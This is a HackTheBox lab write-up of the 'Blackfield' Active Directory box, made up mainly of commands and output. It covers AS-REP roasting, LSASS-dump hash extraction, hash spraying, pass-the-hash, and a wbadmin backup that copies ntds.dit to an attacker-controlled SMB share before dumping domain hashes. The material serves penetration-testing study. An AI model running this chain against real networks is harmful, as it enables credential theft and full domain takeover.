# Blackfield Writeup - HackTheBox

> Active Directory exploitation via AS-REP roasting, SMB enumeration, BloodHound analysis, ForceChangePassword abuse, and SeBackupPrivilege for NTDS.dit extraction.

- **URL:** https://hackindex.io/index.php/writeups/blackfield
- **Platform:** HackTheBox
- **Difficulty:** Hard
- **Operating system:** Windows
- **Tags:** active-directory, as-rep-roasting, bloodhound, sebackupprivilege, smb, privilege-escalation
- **Authors:** [Mohammad Meraj](https://hackindex.io/index.php/authors/mohammad-meraj.md)
- **Published:** 2026-07-31
- **Updated:** 2026-08-11

Blackfield is a Windows Active Directory box. The chain runs: anonymous SMB to harvest a username list, AS-REP roasting that list for a crackable hash, BloodHound to find a ForceChangePassword edge, a password reset to reach the forensic share, LSASS dump extraction to recover the `svc_backup` NTLM hash, and SeBackupPrivilege to pull `ntds.dit` via VSS and DCSync offline for Administrator.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -A -p53,88,135,389,445,593,3268,5985 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE       VERSION
# 53/tcp   open  domain        Simple DNS Plus
# 88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
# 135/tcp  open  msrpc         Microsoft Windows RPC
# 389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local)
# 445/tcp  open  microsoft-ds?
# 593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
# 3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local)
# 5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
# Service Info: Host: DC01; OS: Windows
```

Classic DC footprint: DNS, Kerberos, LDAP, SMB, Global Catalog, WinRM. Domain is `BLACKFIELD.local`, hostname is `DC01`. The ~10 hour clock skew is a lab artifact. SMB is the first thing worth probing unauthenticated.

## SMB Enumeration

### Guest access and shares

```bash
nxc smb $TARGET_IP -u 'Guest' -p '' --shares
# SMB  DC01  [+] BLACKFIELD.local\Guest:
# SMB  DC01  Share       Permissions
# SMB  DC01  -----       -----------
# SMB  DC01  ADMIN$
# SMB  DC01  C$
# SMB  DC01  forensic                  Forensic / Audit share.
# SMB  DC01  IPC$        READ
# SMB  DC01  NETLOGON
# SMB  DC01  profiles$   READ
# SMB  DC01  SYSVOL
```

Guest is enabled. `profiles$` is readable and `forensic` is not yet accessible. `profiles$` goes first.

### Harvesting usernames from profiles$

```bash
smbclient //$TARGET_IP/profiles$ -U anonymous -N
# smb: \> ls
#   AAlleni    D  0  Wed Jun  3 16:47:11 2020
#   ABarteski  D  0  Wed Jun  3 16:47:11 2020
#   ABekesz    D  0  Wed Jun  3 16:47:11 2020
#   <snip -- ~300 profile folder names through ZWausik, plus a lone audit2020 entry>
#   ZWausik    D  0  Wed Jun  3 16:47:12 2020
```

Each subfolder name maps to a Windows roaming profile, which typically corresponds to a real username. Save the listing and extract the first column as a username list:

```bash
cat words | awk '{print $1}' > users.txt
```

## AS-REP Roasting

### Validating usernames with Kerbrute

Most of the ~300 profile folder names are decoys. Kerbrute confirms which ones are real AD accounts:

```bash
kerbrute userenum -d BLACKFIELD.local --dc DC01.BLACKFIELD.local users.txt
# [+] VALID USERNAME: audit2020@BLACKFIELD.local
# [+] VALID USERNAME: support@BLACKFIELD.local
# [+] VALID USERNAME: svc_backup@BLACKFIELD.local
# Done! Tested 314 usernames (3 valid) in 179.724 seconds
```

Three real accounts. Extract them and check for AS-REP roastable ones:

```bash
cat users.txt | awk '{print $7}' > valid_users.txt
GetNPUsers.py -dc-ip $TARGET_IP -usersfile valid_users.txt BLACKFIELD.local/
# [-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
# $krb5asrep$23$support@BLACKFIELD.local@BLACKFIELD.LOCAL:112b8ca903a05f...
# [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Only `support` has pre-auth disabled. Crack the hash:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# $SUPPORT_PASSWORD   ($krb5asrep$23$support@BLACKFIELD.local)
# Session completed.
```

Credentials: `support` / `$SUPPORT_PASSWORD`. The next move is mapping what this account can do in AD.

## Lateral Movement

### BloodHound collection

```bash
bloodhound-python \
  -d BLACKFIELD.local -u support -p '$SUPPORT_PASSWORD' \
  -ns $TARGET_IP -c all --zip --dns-timeout 30 --dns-tcp
# INFO: Found 316 users, 52 groups, 18 computers
# INFO: Compressing output into 20260730141612_bloodhound.zip
```

Reviewing "Outbound Object Control" for `support` in BloodHound reveals a `ForceChangePassword` edge onto `audit2020`. The account can reset `audit2020`'s password without knowing the current one.

### ForceChangePassword on audit2020

```bash
bloodyad --host $TARGET_IP -d BLACKFIELD.local \
  -u support -p '$SUPPORT_PASSWORD' \
  set password audit2020 '$AUDIT2020_PASSWORD'
# [+] Password changed successfully!
```

`audit2020` now has a known password. Confirm share access has widened:

```bash
nxc smb $TARGET_IP -u audit2020 -p '$AUDIT2020_PASSWORD' --shares
# SMB  DC01  [+] BLACKFIELD.local\audit2020:$AUDIT2020_PASSWORD
# SMB  DC01  forensic    READ    Forensic / Audit share.
```

The forensic share is now readable.

### Browsing the forensic share

```bash
smbclient //$TARGET_IP/forensic -U audit2020
# smb: \> cd memory_analysis
# smb: \memory_analysis\> ls
#   conhost.zip       37876530
#   ctfmon.zip        24962333
#   dfsrs.zip         23993305
#   dllhost.zip       18366396
#   ismserv.zip        8810157
#   lsass.zip         41936098
#   mmc.zip           64288607
#   RuntimeBroker.zip 13332174
#   ServerManager.zip 131983313
#   sihost.zip        33141744
#   smartscreen.zip   33756344
#   svchost.zip       14408833
#   taskhostw.zip     34631412
#   winlogon.zip      14255089
#   wlms.zip           4067425
#   WmiPrvSE.zip      18303252
```

`lsass.zip` holds a minidump of LSASS, which contains cached NTLM hashes. `smbclient` timed out on the 42 MB file with a parallel-read error, so switch to impacket-smbclient which handles it cleanly:

```bash
impacket-smbclient audit2020@$TARGET_IP
# Password:
#
# # use forensic
# # cd memory_analysis
# # get lsass.zip
```

## Credential Extraction

### Parsing the LSASS dump with Pypykatz

```bash
unzip lsass.zip
pypykatz lsa minidump lsass.DMP | grep 'NT:' | awk '{ print $2 }' | sort -u > hashes
pypykatz lsa minidump lsass.DMP | grep 'Username:' | awk '{ print $2 }' | sort -u > users

cat hashes
cat users
# 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
# 9658d1d1dcd9250115e2205d9f48400d
# b624dc83a27cc29da11d9bf25efea796
#
# Administrator
# dc01$
# DC01$
# svc_backup
```

Three hashes, four usernames. Spray them all:

```bash
nxc smb $TARGET_IP -u users -H hashes --continue-on-success
# SMB  DC01  [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d
# <snip - all other user/hash combinations returned STATUS_LOGON_FAILURE>
```

`svc_backup` authenticates with hash `$SVC_BACKUP_HASH`. WinRM is open, so pass-the-hash directly in:

```bash
evil-winrm -i $TARGET_IP -u svc_backup -H $SVC_BACKUP_HASH
```

Shell as `svc_backup`. Check privileges before doing anything else.

## Privilege Escalation

### SeBackupPrivilege

```powershell
whoami /priv
# Privilege Name                Description                    State
# ============================= ============================== =======
# SeBackupPrivilege             Back up files and directories  Enabled
# SeRestorePrivilege            Restore files and directories  Enabled
# <snip - SeMachineAccountPrivilege, SeShutdownPrivilege, SeChangeNotifyPrivilege,
# SeIncreaseWorkingSetPrivilege - none relevant>
```

`SeBackupPrivilege` lets the account bypass file ACLs for backup reads, which is enough to reach `ntds.dit`. The direct privileged copy fails because the file is locked by the running NTDS service:

```bash
Copy-FileSeBackupPrivilege \
  c:\windows\ntds\ntds.dit c:\Users\svc_backup\Documents\ntds.dit -Overwrite
# Opening input file. - The process cannot access the file because it is being used by another process.
```

Use `wbadmin` instead. It creates a VSS shadow copy of the volume, which bypasses the lock.

### Extracting ntds.dit via wbadmin

Mount an attacker-controlled SMB share as the backup target:

```powershell
net use k: \\$ATTACKER_IP\smb /user:smbuser smbpass
# The command completed successfully.
```

Run the backup job pointing it at `C:\Windows\NTDS`:

```powershell
wbadmin start backup \
  -backuptarget:\\$ATTACKER_IP\smb -include:c:\windows\ntds -quiet
# Creating a shadow copy of the volumes specified for backup...
# Creating a backup of volume (C:), copied (100%).
# The backup operation successfully completed.
```

List the version identifier that was just created:

```powershell
wbadmin get versions
# Backup time: 7/31/2026 6:04 AM
# Backup location: Network Share labeled \\$ATTACKER_IP\smb
# Version identifier: 07/31/2026-13:04
# Can recover: Volume(s), File(s)
```

Recover `ntds.dit` from that snapshot into a writable path:

```powershell
wbadmin start recovery \
  -version:07/31/2026-13:04 -itemtype:file \
  -items:c:\windows\ntds\ntds.dit \
  -recoverytarget:c:\Users\svc_backup\Documents \
  -notrestoreacl -quiet
# Successfully recovered c:\windows\ntds\ntds.dit to c:\Users\svc_backup\Documents\.
# Total bytes recovered: 18.00 MB
```

Save the SYSTEM hive alongside it (needed to derive the boot key for decryption):

```powershell
reg save HKLM\SYSTEM \
  c:\Users\svc_backup\Documents\SYSTEM
# The operation completed successfully.
```

Download both files:

```powershell
download ntds.dit
download SYSTEM
```

### Offline secrets dump

```bash
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# [*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
# [*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATOR_HASH:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# DC01$:1000:aad3b435b51404eeaad3b435b51404ee:753b67cd7e3a3a6e1a93cc7e61195af9:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
# audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
# support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
# <snip - several hundred BLACKFIELD* decoy accounts sharing the same placeholder hash,
# plus Kerberos key material for svc_backup, lydericlefebvre, and machine accounts>
```

Administrator's NTLM hash is `$ADMINISTRATOR_HASH`. Pass it straight to WinRM:

```bash
evil-winrm -i $TARGET_IP -u Administrator -H $ADMINISTRATOR_HASH
```

Domain Administrator on DC01.

Related
